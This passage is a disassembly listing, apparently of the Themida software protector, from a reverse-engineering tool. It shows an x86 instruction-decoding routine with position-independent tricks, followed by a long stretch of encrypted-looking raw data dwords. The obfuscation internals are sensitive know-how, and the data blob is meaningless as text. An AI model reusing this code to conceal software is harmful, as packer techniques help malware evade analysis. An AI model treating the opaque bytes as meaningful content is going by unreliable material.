		jz	loc_59C18C
		dec	ecx
		jz	loc_59C16F
		dec	ecx
		jnz	loc_59C1DF
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59C1DB
		cmp	byte ptr [ebp-5], 0
		jz	loc_59C14E
		mov	byte ptr [ebp+0Bh], 2

loc_59C14E:				; CODE XREF: Themida_:0059C144j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 5ECD5B3h
		mov	dword ptr [ebp+5ECD305h], 1
		pop	ebp
		jmp	loc_59C1DF
; ---------------------------------------------------------------------------

loc_59C16F:				; CODE XREF: Themida_:0059C129j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59C1B9
		cmp	byte ptr [ebp-5], 0
		jz	loc_59C1B9
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_59C1B9
; ---------------------------------------------------------------------------

loc_59C18C:				; CODE XREF: Themida_:0059C122j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_59C1D2
		cmp	byte ptr [ebp-5], 0
		jz	loc_59C1C1
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_59C1B9
		mov	[ebp+0Bh], cl

loc_59C1B9:				; CODE XREF: Themida_:0059C173j
					; Themida_:0059C17Dj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_59C1DF
; ---------------------------------------------------------------------------

loc_59C1C1:				; CODE XREF: Themida_:0059C19Aj
		cmp	dl, 5
		jnz	loc_59C1DF
		mov	[ebp+0Bh], dl
		jmp	loc_59C1DF
; ---------------------------------------------------------------------------

loc_59C1D2:				; CODE XREF: Themida_:0059C190j
		cmp	dl, 6
		jnz	loc_59C1DF

loc_59C1DB:				; CODE XREF: Themida_:0059C13Aj
		mov	byte ptr [ebp+0Bh], 3

loc_59C1DF:				; CODE XREF: Themida_:0059C130j
					; Themida_:0059C16Aj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_59C20D
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_59C1EF:				; CODE XREF: Themida_:0059C205j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_59C1EF
		mov	esi, edx

loc_59C20D:				; CODE XREF: Themida_:0059C1E2j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_59C242
		cmp	edi, 7Fh
		ja	loc_59C242
		test	bl, 38h
		jnz	loc_59C242
		cmp	byte ptr [ebp-7], 0
		jz	loc_59C23C
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_59C23F
; ---------------------------------------------------------------------------

loc_59C23C:				; CODE XREF: Themida_:0059C22Dj
		push	1
		pop	eax

loc_59C23F:				; CODE XREF: Themida_:0059C237j
		mov	[ebp-1], al

loc_59C242:				; CODE XREF: Themida_:0059C211j
					; Themida_:0059C21Aj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_59C248:				; CODE XREF: Themida_:0059C0F2j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_59C273
		dec	eax
		dec	eax
		jz	loc_59C269
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_59C27B
; ---------------------------------------------------------------------------

loc_59C269:				; CODE XREF: Themida_:0059C258j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_59C278
; ---------------------------------------------------------------------------

loc_59C273:				; CODE XREF: Themida_:0059C250j
		mov	al, [ebp-3]
		add	al, 4

loc_59C278:				; CODE XREF: Themida_:0059C26Ej
		add	[ebp-1], al

loc_59C27B:				; CODE XREF: Themida_:0059C264j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_59C2A3
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_59C28E:				; CODE XREF: Themida_:0059C29Dj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_59C28E

loc_59C2A3:				; CODE XREF: Themida_:0059C283j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLS		db '‹Ðè',0Dh,0
		align 10h
		dd 893B3C00h, 0EA9825F8h, 817BCC00h, 0F60BCADh,	5E61FEBFh
		dd 0C61EE781h, 0C6817E84h, 612Bh, 183168F9h, 81660000h
		dd 583D24E2h, 36FFCE8Ah, 8F0F5BF5h, 1, 4EEB81FCh, 0FC3682F1h
		dd 4526C381h, 88B96A7Dh, 816F7BD1h, 0E7816AC3h,	7AACBF7Ah
		dd 1E892A65h, 4070B3B9h, 4EE8356h, 0C7850F48h, 66FFFFFFh
		dd 2937E981h, 98E9h, 9400h, 500h, 100h,	0A2800h, 200h
		dd 20h dup(0)
		dd 0BF01BB00h, 0AC5E942h, 95680000h, 0E905ECD9h, 0FFFAA86Bh
		dd 0ECDA6F68h, 0A861E905h, 5468FFFAh, 0E905ECDBh, 0FFFAA857h
		dd 0ECDBCC68h, 0A84DE905h, 0F368FFFAh, 0E905ECDCh, 0FFFAA843h
		dd 0ECDD4C68h, 0A839E905h, 6B68FFFAh, 0E905ECE0h, 0FFFAA82Fh
		dd 0ECE15768h, 0A825E905h, 0B52FFFFAh, 7C7ECE64h, 1EC717ADh
		dd 0EB1565FBh, 9B60B046h, 76DFF88Eh, 0EB81A853h, 38CE639Bh
		dd 821819E8h, 0CE64CD32h, 0FF3E0F9h, 975A7EACh,	39C62CB1h
		dd 0ADC2ABF8h, 91D3DCC0h, 5E966454h, 0EE84AD52h, 0F31BD304h
		dd 3B47839Dh, 7B681F85h, 5177AC1Ch, 0B9788997h,	58A57381h
		dd 79ABB797h, 6AC7395Ah, 69C03B1Dh, 0E3F9A71Ch,	0EB01079Eh
		dd 9B20D680h, 0DD081640h, 3D92043Ch, 3D000000h,	0E150B1BFh
		dd 1EC4FC94h, 0DFCC83F5h, 5176FC18h, 0BC7DCA98h, 5A78FBDCh
		dd 2F102277h, 0AB20DF3Ah, 3000E4D1h, 0BA885A79h, 82581C54h
		dd 9BA02DD7h, 0B10E40h,	0A9B70000h, 90A1D958h, 0ABF839C6h
		dd 0AAF732C9h, 4BB037C8h, 93F991DEh, 0F6DAC7DCh, 7E5491D3h
		dd 1C51FCB0h, 8FF94D25h, 33CCAE57h, 543968FEh, 565491E5h
		dd 0A2F288A9h, 0BD748A5Dh, 0E6351906h, 0EFBD5491h, 97C03C89h
		dd 96816E25h, 9E5176E9h, 0D1E33AD0h, 0A32F615Fh, 0C369A10Fh
		dd 84712890h, 57606037h, 2432E9B7h, 6CBC52D7h, 0AD769A8Fh
		dd 0BDDF04A1h, 8A23CE0h, 895B0000h, 50AAFA90h, 0F2F343D9h
		dd 0BF419127h, 6F8CDC72h, 0A20B24BAh, 17AD7C7Fh, 64FA37C7h
		dd 0AE44ED14h, 0FA90A15Eh, 3B1F0C25h, 0C35A7EADh, 35C658DDh
		dd 0F10E5EF4h, 0BF55AA40h, 0A8E049B1h, 0B067D102h, 76FBFCC3h
		dd 61AE7C51h, 78FBC0A0h, 0F4065B5Ah, 9A20396Ch,	0BC80B8BAh
		dd 0B1913B2Eh, 0BC72409Bh, 1D000000h, 53AE39C6h, 93F991DEh
		dd 92976446h, 0FF32CDDBh, 785D1EC7h, 735491D7h,	5D959C65h
		dd 4532AE51h, 5491D761h, 1FB51BE9h, 0B40130CFh,	0A7530F38h
		dd 379D3582h, 0DBA89380h, 0E2B05176h, 7931624Ch, 41E71F17h
		dd 0A0CF83FEh, 0CAAD5447h, 7D9249AFh, 7910AC90h, 2E66345Ah
		dd 9FD02E1Bh, 8250575Fh, 0EB3EBDCBh, 33F60555h,	5601E0Fh
		dd 0DB18EDFh, 7C8h, 0D46AAF35h,	1DB37684h, 6B0118CDh, 0B64CE51Bh
		dd 0FE949566h, 0A2597CE5h, 5DA1F187h, 13EE3ED4h, 0C738881Eh
		dd 0E6FFD46Ah, 7EAE15F9h, 32B79D5Ah, 5EF435C6h,	0AA40F10Eh
		dd 5A1E4153h, 3B0719EEh, 6FBC758Bh, 0C68E9FD7h,	0C9ABF839h
		dd 7B65FB36h, 0CA4F9648h, 8A98AD64h, 0D870BD74h, 4C9B5A0h
		dd 0B9D1517Dh, 0BEA0ED2Ch, 79FEC3Dh, 76843BA1h,	5A6DA584h
		dd 402DB34Ch, 5A7EAB5Ch, 1AB016E4h, 7EAC97EBh, 0ED43875Ah
		dd 35012436h, 0CDF38FF5h, 89E4A395h, 732A92C5h,	62E64386h
		dd 90FDCB57h, 2C5C700Fh, 3DAFD8D3h, 27B69986h, 703EF113h
		dd 0D950ABB9h, 13BCF48Ch, 45FC6C97h, 0FF091958h, 14CB99F6h
		dd 0C7D4EDFFh, 727250A8h, 16D12E3Ah, 62FA47EAh,	0E91666FCh
		dd 0C9132448h, 825F3F68h, 6E3DEh, 4FCA1A00h, 989169B9h
		dd 0E633B202h, 31000050h, 79B04B9Bh, 3E61CAE3h,	86D66CBDh
		dd 0D323B978h, 1D6D032Eh, 0E4B94FE2h, 0AEFADECBh, 9C825A7Eh
		dd 91FB2C17h, 501EDDAh,	3B09517Dh, 9E826F84h, 265A7EABh
		dd 0F80D2058h, 0D11EFBEAh, 0B8718939h, 8F9BD36Bh, 0D828BE6Bh
		dd 0D8BA0722h, 0E8CCB927h, 705A7EABh, 1281EEA2h, 0DA82F875h
		dd 0D8F15074h, 0DCB9E4E9h, 66B38h, 0C7529200h, 1019E131h
		dd 5EBB2A7Ah, 0A98878C8h, 0F138C313h, 0B6D9425Bh, 0FE4EE445h
		dd 4B9B3100h, 95E57BB6h, 5C31C76Ah, 0AE725643h,	14FA5A7Eh
		dd 91FB2C8Fh, 501EDDAh,	3B09517Dh, 6D5A6F84h, 5A7EAB89h
		dd 788F4311h, 85CE0CD2h, 37C8D40Ch, 0CB3543FAh,	0E53C2E66h
		dd 0BD0A27D7h, 347ED25h, 3909F6ADh, 0B95A7E46h,	87D45DA1h
		dd 7B3C89EFh, 5A7E459Ch, 0FF4CDD1Eh, 4DE41Dh, 0ABF00662h
		dd 8DF80E14h, 40908AE3h, 3AC4h,	9B5F6D00h, 0F9A9418Eh
		dd 0DEEF2702h, 0DB92E42Ch, 91D416EEh, 7BC89654h, 91D3DABAh
		dd 996F7554h, 7CF844EEh, 112545h, 0BFD00000h, 0D3D9BDAAh
		dd 93615491h, 1C48D5Bh,	57F00000h, 9B0D361Ch, 0E2B4F7E4h
		dd 6E3C5176h, 0AF7A8001h, 0B1E20122h, 0C0A39047h, 430708DAh
		dd 0E05D412Eh, 17E5100Ah, 0B603D1DFh, 0F041BFCDh, 77E112B8h
		dd 0E34EB2C0h, 718398ABh, 0D01AAB6Ah, 0D958A829h, 11503B73h
		dd 910CF58Dh, 44AA8779h, 0B1807F8Dh, 0FD34CB1Bh, 71F272D9h
		dd 7519F629h, 544h, 58EE2BB9h, 0A137F208h, 0EF859451h
		dd 3AD0619Fh, 821811EAh, 1EDD0069h, 0D925750Bh,	8F72C258h
		dd 43BC0CA2h, 6A8358EEh, 7EAF997Dh, 0B63B215Ah,	0ABF839C6h
		dd 0DD94042Fh, 76C595F0h, 984F1D51h, 0EBB29683h, 6C3A5A78h
		dd 0DF24234h, 36550024h, 0C8A5E4EFh, 4EB24h, 47D21200h
		dd 909961B1h, 0DE3BAAFAh, 2908F848h, 71B84393h,	3659C2DBh
		dd 7ECE64C5h, 0CB1BB180h, 1565FB36h, 0DCB147EAh, 0B0F2D6C3h
		dd 947A5A7Eh, 0BDAABF0Fh, 5491D3D9h, 4F5B9361h,	4B3481B0h
		dd 0F420C33Dh, 0C07D8801h, 0C6ACF95Fh, 0DF7BEF8Bh, 5F97FD40h
		dd 3885AC53h, 0EB132564h, 97309BA2h, 0C016DA12h, 0BE8B586Ah
		dd 0D016F27Bh, 653DE20h, 0D52A366Eh, 0F340E912h, 335FF55Bh
		dd 457C1989h, 2D6Ah, 0B1BF1500h, 5ABE34Eh, 0C6B36AD2h
		dd 5176FE9Fh, 1B04511Fh, 8E3EF30Dh, 9B86BE73h, 5A7902BBh
		dd 0CFBA5056h, 409BD325h, 5906h, 0ADBFB100h, 3D612DADh
		dd 41E71F10h, 90895C16h, 8E45AB43h, 6FED9F7Ch, 0E51DA63Fh
		dd 0F021E5D2h, 8FA45176h, 7971BEA2h, 4078465Ah,	98AD6432h
		dd 8D745B8Ah, 0FA063EA4h, 3C932900h, 105DCC2Eh,	1562B72Eh
		dd 0F4DF177Dh, 5A797215h, 33C96897h, 0C51217E3h, 3E321h
		dd 0FB2C8400h, 0BEEDDA91h, 395176E3h, 0AF5FBA2Bh, 0F991DE4Bh
		dd 98E5B3C1h, 9BE849B6h, 7627B5E9h, 1224DB4Dh, 6E138E63h
		dd 21346CE5h, 5DF50534h, 8E6D8557h, 50B64E9Bh, 0BE738B99h
		dd 0BB449486h, 7AAD2976h, 376E5B12h, 0B75D4509h, 0A9F79CE9h
		dd 36FB0453h, 1B8DB6A0h, 34207764h, 0D2A0632Ch,	0D55CA385h
		dd 0DA3FA688h, 0D950AB8Dh, 4492EE8Ch, 6076C437h, 0E59C0C37h
		dd 133DA1F8h, 0F4022169h, 0AF932207h, 3772153Fh, 552DF1Fh
		dd 0A457076Dh, 39891F85h, 52DF21C6h, 0BA076D05h, 0EDB3BFD1h
		dd 26832443h, 1019E2EEh, 0FDD11C3h, 5F1CC738h, 4572F9Eh
		dd 8F790F75h, 503DF464h, 6EFAB919h, 6D7A8694h, 0E8359B8Eh
		dd 0F20A1850h, 3BA2009h, 0DD1D01EEh, 0D7A577FCh, 4B3CBB23h
		dd 5D95BEB7h, 42DD2B4h,	36C412B7h, 33EA5285h, 0E20F0F46h
		dd 0AC18F74h, 249A50F8h, 0FA326510h, 0EA47B808h, 0ED44BB9Dh
		dd 0D23A6D57h, 0BCAA091Bh, 208D225Ah, 89E8D5E8h, 97AC95Ah
		dd 8876843Bh, 877A5CA9h, 630C44AAh, 0CB5AC2A2h,	0FA085D83h
		dd 30F42C05h, 7F05AFDAh, 4CE66A45h, 91000000h, 0DA91FB2Ch
		dd 90C2B3C5h, 4F9F0DB2h, 3BC7AB98h, 814F5492h, 63975E49h
		dd 49175177h, 635B3BFCh, 0A1F65A79h, 78C56C93h,	16E4A8E0h
		dd 9B6CB963h, 0F7E4F940h, 5A797013h, 1ACC5D9Dh,	34073FEh
		dd 7BE1A7E3h, 0D3D143h,	0C67C0000h, 0C2ABF839h,	0D3DCC0ADh
		dd 0EA625491h, 0E0979A2Dh, 0FD3503B5h, 0D21F0AF1h, 0D5220FF0h
		dd 26DB0CF3h, 0E00FA50Bh, 5491EEFBh, 782F02FDh,	649C956Ah
		dd 54DD2272h
		dd 0F0588B07h, 0E0594C39h, 93615176h, 3337CADCh, 525170C7h
		dd 153E281Ah, 12A06255h, 0DD437B01h, 0F3D33926h, 0C0CE575Fh
		dd 0EA6F33Eh, 43FAC8D6h, 0CAC61C2Eh, 0E8C7EB6h,	9BD839Fh
		dd 265E547Ch, 9148E11Ah, 15C0D7Fh, 0B43EC01h, 0F732C919h
		dd 5328CD3h, 6307E4DFh,	1CCh, 0D066B331h, 19AF7A80h, 67FD1CC9h
		dd 0B248E917h, 0FA909962h, 0A65578E1h, 619DED83h, 17EA3AD0h
		dd 0CB34841Ah, 0E2FBD066h, 7EB411F5h, 2EB3995Ah, 5EF435C6h
		dd 0BF6F10Eh, 0D32AC026h, 0BDF53CC5h, 91FB2CACh, 0FC26EDDAh
		dd 8CA15176h, 78FBBB9Fh, 3D75435Ah, 5314612Fh, 5A78FB73h
		dd 87F2080Eh, 409BD4DDh, 371B081Dh, 0BA5A7908h,	7907E9CDh
		dd 0F1A3715Ah, 0AA79EB23h, 24000000h, 0ABF839C6h, 0AAF732C9h
		dd 91D804E9h, 38F90654h, 84AD52A2h, 0CF88BB37h,	91D8FEE2h
		dd 52B88654h, 0C0718D9Bh, 95887588h, 9D5176C9h,	0D0E239CFh
		dd 0FD238E53h, 1A7DF1Eh, 9DAF66D6h, 0EE0DFC79h,	0A1B4EC78h
		dd 28007A8Ch, 8A17F9F4h, 79B3B99Dh, 0D73415Ah, 43A5EAD5h
		dd 57255760h, 0C06992A0h, 821DA2Ah, 4BB85E4h, 8C300DDFh
		dd 0E0h, 0BC52C71Dh, 59B8E6Ch, 53E930B5h, 9E34FD03h, 0E67CAD4Eh
		dd 0BA4164CDh, 7589D96Fh, 2BD626BCh, 0DF207006h, 0CEE7BC52h
		dd 7EB4FDE1h, 1A9F855Ah, 5EF435C6h, 0AA40F10Eh,	0F839C655h
		dd 0FB36C9ABh, 0E0487B65h, 12FF1429h, 5491D42Eh, 0D3E0C4B1h
		dd 9A685491h, 76631AE8h, 5491D392h, 29144C1Ah, 517D0B59h
		dd 0EED2BFD4h, 765A7EABh, 408D9C5Eh, 428E42A8h,	2EF33211h
		dd 0BD8B99D1h, 0C0718E70h, 0C25DA2Ah, 0BB2FEBFh, 386C19AFh
		dd 0C56C93A2h, 36CAD82Fh, 30A05CADh, 0AA10B032h, 818DC55Dh
		dd 8466B37Eh, 8668B57Ch, 0FEA66675h, 2FEC056h, 936D4F9Ch
		dd 9B6B519Eh, 8E276BCCh, 45938325h, 6177C538h, 0ED44BDCBh
		dd 0C4D008A0h, 1060F63Bh, 7D8B42EFh, 0CA73AB7Eh, 326h
		dd 13588900h, 0AEFB1EC6h, 0B1FE33CCh, 0B2FF32CFh, 0B6032ED0h
		dd 0B50227D4h, 0B40128D3h, 0B6032ED2h, 0BB0811D4h, 0BB0821D9h
		dd 0E689566Fh, 4C681h, 0EE830000h, 24348704h, 6824248Bh
		dd 5FF8h, 68241C89h, 53Dh, 68240C89h, 5ECD869h,	81241C8Bh
		dd 4C4h, 0C8B5400h, 4C48324h, 24348153h, 339F4177h, 5008418Fh
		dd 8B8h, 81C80100h, 9F417730h, 0C8B5833h, 0E1895124h, 4C181h
		dd 0C1830000h, 240C8704h, 241C8B5Ch, 81E28952h,	4C2h, 4C28300h
		dd 5C241487h, 0FA9DB6E9h, 93C59FFFh, 0B8E7AA56h, 5ECE25Ch
		dd 0E0FFC503h, 6B15E6Eh, 187138FBh, 4047B3F9h, 2026A723h
		dd 5DF17CBEh, 215951E2h, 5349B629h, 77B82034h, 23C7C29h
		dd 3BEEB2A6h, 3A21DAB1h, 619FB01Ch, 3A11D3DEh, 1F26C3D0h
		dd 1E8749E0h, 0A1401D8h, 24EBh,	8 dup(0)
		dd 0BDE90000h, 89000000h, 0ECE329B5h, 8D858B05h, 8B05E72Bh
		dd 0E7277D85h, 73B58D05h, 8D05ECE3h, 0EA467185h, 0C3D0FF05h
		dd 0E855h, 815D0000h, 0ECE379EDh, 8DBD8305h, 105E72Bh
		dd 2C850Fh, 0B5FF0000h,	5ECE329h, 277D858Bh, 363505E7h
		dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h
		dd 40E9C0h, 1C6A0000h, 0E32DB58Dh, 0FF5605ECh, 0ECE329B5h
		dd 7D858B05h, 3505E727h, 34812736h, 0C483D0FFh,	2DB58D0Ch
		dd 8B05ECE3h, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h
		dd 5E9h, 1B800h, 0BD830000h, 5E72B8Dh, 7850F01h, 5D000000h
		dd 2E9C3h, 0CF5D0000h, 0E352858Dh, 858905ECh, 5E7032Dh
		dd 0E4B28D8Dh, 860F05ECh, 6, 1AE18501h,	8D8905E7h, 5E71AA9h
		dd 0C7FA8B66h, 0E72A4D85h, 744005h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0DAB0B4C2h
		dd 273985C7h, 5E7h, 5EBA0000h, 0FF38F794h, 0E72411B5h
		dd 89F98B05h, 0E7280DBDh, 9595FF05h, 6A05E717h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 50D8C355h, 5FFE31EBh, 0BD8BB3BCh, 5E71CE5h, 95FF006Ah
		dd 5E721C1h, 2EEBC08Bh,	32A81717h, 0F1A05727h, 0DBBCC7DFh
		dd 450B3DCAh, 0D5CBDF45h, 0A55154CDh, 4637899h,	6C97B4FEh
		dd 3CD9462Ah, 1CDA6EBAh, 1377B5B9h, 0BE813FAh, 17000000h
		dd 82C85B21h, 0C67AA528h, 0B58B6DD8h, 5E70AD5h,	0EBBE665Fh
		dd 4FC781F2h, 5700006Ch, 0DE9h,	92E39000h, 0B4C9773Bh
		dd 475E9BD8h, 6859A647h, 1ADCh,	0EE953h, 9B8C0000h, 0B8F37412h
		dd 254D6F84h, 1AC4CC5Bh, 820F5B5Eh, 6, 0BC59589h, 78B05E7h
		dd 0CFB5E881h, 8D291763h, 5E72F09h, 0A991F081h,	9D890FE0h
		dd 5E715D9h, 0F1BDC081h, 52570EB1h, 193D9589h, 5E5A05E7h
		dd 78FFC50h, 2F099D89h,	0EF8305E7h, 0EBC18101h,	4F1F42D4h
		dd 0F4B4F4Fh, 1F85h, 0EE900h, 0B9910000h, 0FB47C250h, 6818B5A0h
		dd 0E0373B52h, 2DE9h, 80F67700h, 0C58D8ABh, 0A810Fh, 5E90000h
		dd 0A7000000h, 420C7C32h, 0FFFF85E9h, 146424FFh, 0F84D877h
		dd 203E5E60h, 5C529BCCh, 0ABE90859h, 50000000h,	1C3F2E8Dh
		dd 0DA5F72B1h, 95A7ACABh, 0F44592B3h, 0B395A1h,	0A7ECABDAh
		dd 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh
		dd 3A7594A1h, 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h
		dd 0B1EF7695h, 0F94E0097h, 9FA5B4h, 0F07B6B5Ch,	8A924Ah
		dd 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h,	0D77D41F4h
		dd 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h
		dd 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h
		dd 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 1E80097h,	3D94E7A6h
		dd 0DEA98332h, 40E963C8h, 68000013h, 5ECE867h, 0FA9A02E9h
		dd 0E96368FFh, 0F8E905ECh, 68FFFA99h, 5ECEA58h,	0FA99EEE9h
		dd 0EBEC68FFh, 0E4E905ECh, 68FFFA99h, 5ECEC65h,	0FA99DAE9h
		dd 0ECEA68FFh, 0D0E905ECh, 68FFFA99h, 5ECED78h,	0FA99C6E9h
		dd 0EE3D68FFh, 0BCE905ECh, 68FFFA99h, 5ECEF10h,	0FA99B2E9h
		dd 0F04468FFh, 0A8E905ECh, 68FFFA99h, 5ECF10Bh,	0FA999EE9h
		dd 0F2BA68FFh, 94E905ECh, 68FFFA99h, 5ECF438h, 0FA998AE9h
		dd 0F63868FFh, 80E905ECh, 68FFFA99h, 5ECF77Ah, 0FA9976E9h
		dd 1306DEFFh, 5CCD2D7Dh, 0AA6F76C6h, 0F53CC414h, 3DEC0F5Fh
		dd 2258EA7h, 4A9A30F9h,	97E77DB4h, 0E131C76Ah, 0A87D131Eh
		dd 0BABEA28Fh, 60465A7Eh, 0F839C6DBh, 0FB36C9ABh, 0E0487B65h
		dd 0DFDD3C29h, 415D5176h, 1D7A1A8Ah, 29F0F518h,	27105DC3h
		dd 0FC49E819h, 61412C64h, 0FC5A79C2h, 3C4AE0F6h, 89216EC3h
		dd 17BF6951h, 4BA0409Bh, 49000000h, 0CA634734h,	0CCEB5A79h
		dd 79CAFBDFh, 4FB5835Ah, 0FB2C0617h, 26EDDA91h,	0A65176FCh
		dd 74C1708Eh, 682976DCh, 5A78FB88h, 71CF1D23h, 55429E63h
		dd 5A78FB71h, 78C52BF9h, 16C0A8E0h, 56409BD4h, 3E76B348h
		dd 0D0CCh, 0AABF7700h, 91D3D9BDh, 5B936154h, 3481B04Fh
		dd 0C980A952h, 0A2EF2ABBh, 4729D20Ah, 4A2C79B8h, 8FE67CB5h
		dd 65CD917Dh, 2D652F67h, 92A8DB42h, 0F22DD54h, 0E7142279h
		dd 0E713F542h, 0F75DF542h, 0E54CB3BFh, 4FDA202Eh, 0C1F26E17h
		dd 6C92A057h, 8D7A8DC5h, 5177B3A2h, 0BFA390A5h,	475A79B3h
		dd 1B334179h, 31E84EE3h, 451D823h, 5842346Ch, 0F806BD2Fh
		dd 0FBDD2A07h, 8BC32900h, 483E8B78h, 0F0BE5760h, 59D02B39h
		dd 0A18873C3h, 4C80F7Dh, 0D87C59DFh, 109Ch, 0CC62B72Dh
		dd 15AB7E7Ch, 63F920C5h, 0AE44ED13h, 0F68C9D5Eh, 0AA5174DDh
		dd 6599E97Fh, 1BE636CCh, 0CF308016h, 0DEF7CC62h, 7EBC0DF1h
		dd 2AAF955Ah, 5EF435C6h, 0AA40F10Eh, 49B1BF55h,	0C3FB93E0h
		dd 2331EA1Dh, 0E0C453DEh, 685491D3h, 687D349Ah,	91D3977Bh
		dd 19511F54h, 0FC521906h, 0BFCD5176h, 0A7B5ED3Ch, 0EBCB8CD9h
		dd 865A78FCh, 55FF6A80h, 36409BD5h, 0DBh, 0F839C6E1h, 0A632C9ABh
		dd 91D3D5B9h, 876B5854h, 0F5491D3h, 5BC18F41h, 0D0E64D0Eh
		dd 17E85491h, 0C451631Ah, 65CBB884h, 8FDFD109h,	0F874C170h
		dd 0B9A65DCFh, 517769CEh, 0A443BED6h, 0A70D65Bh, 0EF598A74h
		dd 94112338h, 98A968BFh, 2C929F61h, 0D2AB09F4h,	5D2B575Fh
		dd 0C86998A6h, 0C733E37Bh, 2172A62h, 0B0A4DCF0h, 0B969896Bh
		dd 59DEA47h, 0EF3AC1CDh, 37F20959h, 4DE8313h, 6C10EDDFh
		dd 0FA0h, 0C85EBB29h, 11A78278h, 5FF524C1h, 0AA40F10Fh
		dd 0F288A15Ah, 0AE4D70D9h, 6995E57Bh, 1FE232C8h, 0D32C7C12h
		dd 0DAF3C85Eh, 7EBD09EDh, 26AB915Ah, 8EA335C6h,	91D3BDA1h
		dd 0E8774554h, 5491D404h, 0A158BE8Ch, 224728Fh,	0CC0412C6h
		dd 72758ADAh, 0BE56A38Eh, 0BF6DC258h, 0ABE34EB1h, 9380609Fh
		dd 5491D3AFh, 0B99DC535h, 0A4560F74h, 0ABB970D6h, 0BCA08D53h
		dd 445492CBh, 2FD81076h, 0E97FB24Dh, 80CD4C99h,	19D0619Eh
		dd 0F03DF40Bh, 0D72E2058h, 51AE31C9h, 0C7427AE0h, 0E7EA9A5h
		dd 77B24957h, 0FC3F2C3Fh, 845177D9h, 0E9C849B6h, 0D1A9040Ch
		dd 927F36A6h, 4EE93D4Bh, 34B0FDCBh, 0CDE29903h,	56A542BFh
		dd 4A356DD3h, 54D53D0Bh, 0F406BD8Bh, 63775187h,	16296137h
		dd 0FF0F708h, 0CF26BC22h, 0A6F33EC1h, 35CAD60Eh, 9BC8D8FCh
		dd 0C3A0E191h, 0EAB1Fh,	53C61E00h, 9C8D6DBDh, 0EA2FB606h
		dd 35FC0454h, 7DAC4F9Fh, 4265CEE7h, 8ADA70B9h, 0D727BD74h
		dd 2171072Ah, 0E8BD53DEh, 0BDFEE2CFh, 0A0865A7Eh, 0A739C61Bh
		dd 91D3D6BAh, 2A905E54h, 98996573h, 83BB760h, 25DBE9A0h
		dd 0D3EACEBBh, 0A4725491h, 6F3063Eh, 5176D24Fh,	0EE43BCCAh
		dd 44DAA8B6h, 0F71295Ah, 7408FF00h, 1F2DE44Ah, 69014EDBh
		dd 56E1C5B2h, 9B695A79h, 2D3B5063h, 3B265ED3h, 575E76F0h
		dd 1E616173h, 740E5615h, 0A5F237C4h, 0F9C7D50Dh, 4CB5C3ACh
		dd 0E2C2ADE5h, 7D6060CCh, 4CF66177h, 2D4EB205h,	62h, 6ADBFD8h
		dd 0F67F65Eh, 5C872D65h, 0CBCAAE9Bh, 84525492h,	0A659671Eh
		dd 2B40538Bh, 9C4CDD1Dh, 0AD98D049h, 517796E9h,	0DEECA371h
		dd 45570E23h, 0B06A639Ah, 0D23D4455h, 0A0CC8D1h, 4B7A6CA4h
		dd 5A7ACE6Dh, 8B2110EFh
		dd 2D1AC63Bh, 5A7ACE49h, 5F4C03D1h, 5A7ACE7Bh, 82CF3503h
		dd 0D9FDEh, 0FB2C4100h,	0FEEDDA91h, 0FE517D35h,	0BB0EF2DFh
		dd 0C8965A7Eh, 0BA402411h, 0FAC85A7Eh, 0BAC8DD94h, 0C03BEB46h
		dd 4C841C69h, 0DC72BF40h, 71BE738Ch, 0A35AC2F5h, 6A1E28B6h
		dd 0A35A2857h, 10C76A95h, 0A12A0EFBh, 0E4B2606Bh, 956ABAACh
		dd 3380A952h, 6CE8359Bh, 0B673873Bh, 2D1AD169h,	606BA049h
		dd 0E69D03D1h, 52AEBCD1h, 6BFA92DFh, 606BA087h,	8D3FEA11h
		dd 119C87BFh, 195D50A7h, 8483274Bh, 8E5D915h, 0D1764h
		dd 0E732B200h, 30F90151h, 7E9B4A9Ah, 0C96898E8h, 1118E333h
		dd 0D6F9627Bh, 1E6E0425h, 6BBB51E0h, 0B5059B96h, 7C51E74Ah
		dd 0BE927663h, 341A5A7Eh, 0BDAABFAFh, 5491D3D9h, 705B9361h
		dd 5491D390h, 26DD4F78h, 7D36B339h, 2EE5B351h, 9B52DF20h
